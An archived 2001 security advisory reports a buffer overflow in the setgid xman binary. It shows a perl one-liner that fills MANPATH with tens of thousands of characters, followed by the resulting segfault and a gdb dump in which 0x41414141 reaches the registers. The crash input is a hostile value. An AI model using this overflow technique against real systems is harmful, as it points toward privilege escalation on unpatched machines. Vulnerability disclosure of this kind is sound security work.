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From: KF (dotslashsnosoft.com)
Date: Wed Jul 11 2001 - 22:32:49 CDT

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    xman from at least X11R6-contrib-3.3.2-3.i386.rpm suffers from a classic

    srtxgchanae.alphanet.ch is noted as the packager of this RPM. I do not
    the author.

    [rootlinux lib]# ls -al `which xman`
    -rwxr-sr-x 1 root man 41076 Jun 17 1998

    [rootlinux lib]# xman
    [rootlinux lib]# export MANPATH=`perl -e 'print "A" x 7000'`
    [rootlinux lib]# xman
    Xman Error: Could not allocate memory for manual sections.

    [rootlinux lib]# export MANPATH=`perl -e 'print "A" x 70000'`
    [rootlinux lib]# xman
    Segmentation fault

    [rootlinux lib]# gdb xman
    GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
    (gdb) run
    Starting program: /usr/X11R6/bin/xman
    0x4022fb66 in getenv () from /lib/libc.so.6
    (gdb) bt
    #0 0x4022fb66 in getenv () from /lib/libc.so.6
    #1 0x0804bc47 in _start ()
    #2 0x41414141 in ?? ()
    Cannot access memory at address 0x41414141

    (gdb) info registers
    eax 0xbffee784 -1073813628
    ecx 0x804fb29 134544169
    edx 0x805414c 134562124
    ebx 0x40328f2c 1077055276
    esp 0xbffec6fc 0xbffec6fc
    ebp 0xbffec714 0xbffec714
    esi 0x6 6
    edi 0x41414141 1094795585
    eip 0x4022fb66 0x4022fb66